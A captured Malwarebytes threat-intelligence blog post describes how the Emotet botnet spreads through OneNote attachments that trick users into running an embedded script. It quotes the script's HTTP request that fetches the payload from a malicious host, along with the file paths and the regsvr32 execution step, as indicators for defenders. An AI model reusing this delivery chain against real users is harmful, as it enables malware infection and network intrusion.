www.malwarebytes.com Open in urlscan Pro
2600:9000:20c3:5200:16:26c7:ff80:93a1  Public Scan

URL: https://www.malwarebytes.com/blog/threat-intelligence/2023/03/emotet-onenote
Submission: On May 18 via api from TR — Scanned from DE

Form analysis 2 forms found in the DOM

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Threat Intelligence


EMOTET ADOPTS MICROSOFT ONENOTE ATTACHMENTS

Posted: March 16, 2023 by Threat Intelligence Team

Emotet finally got the memo and added Microsoft OneNote lures.

Last week, Emotet returned after a three month absence when the botnet Epoch 4
started sending out malicious emails with malicious Office macros. While the
extracted attachments were inflated to several hundred megabytes, it was
surprising to see that Emotet persisted in using the same attack format.

Indeed, Microsoft has been rolling out its initiative of auto-blocking macros
from downloaded documents since last summer. This has forced criminals to
revisit how they want to deliver malware via malspam. One noticeable change was
the use of Microsoft OneNote documents by several other criminal gangs. Now, it
is Emotet's turn to follow along.



The OneNote file is simple but yet effective at social engineering users with a
fake notification stating that the document is protected. When instructed to
double-click on the View button, victims will inadvertently double-click on an
embedded script file instead.

This triggers Windows scripting engine (wscript.exe) to execute the following
command:

%Temp%\OneNote\16.0\NT\0\click.wsf"

The heavily obfuscated script retrieves the Emotet binary payload from a remote
site

GET https://penshorn[.]org/admin/Ses8712iGR8du/ HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Host: penshorn.org


The file is saved as a DLL and executed via regsvr32.exe:

%Temp%\OneNote\16.0\NT\0\rad44657.tmp.dll"

Once installed on the system, Emotet will then communicate with its command and
control servers to receive further instructions.

As Emotet ramps up its malspam distribution, users should be particularly
careful of this threat which we featured in our 2023 State of Malware Report, as
it serves as an entry point for other threat actors keen on dropping ransomware.

Malwarebytes customers are protected against this threat at several layers
within its attack chain including web protection, malware blocking. Our EDR
product also flags the whole sequence:



Although Emotet has had vacations, retirements and even been taken down by
authorities before, it continues to be a serious threat and highlights how
social engineering attacks are so effective. While macros may soon be a thing of
the past, we can see that threat actors can leverage a variety of popular
business applications to achieve their end goal of gaining a foothold onto
enterprise networks.

We will continue to monitor any new developments with Emotet to ensure our
customers remain protected.

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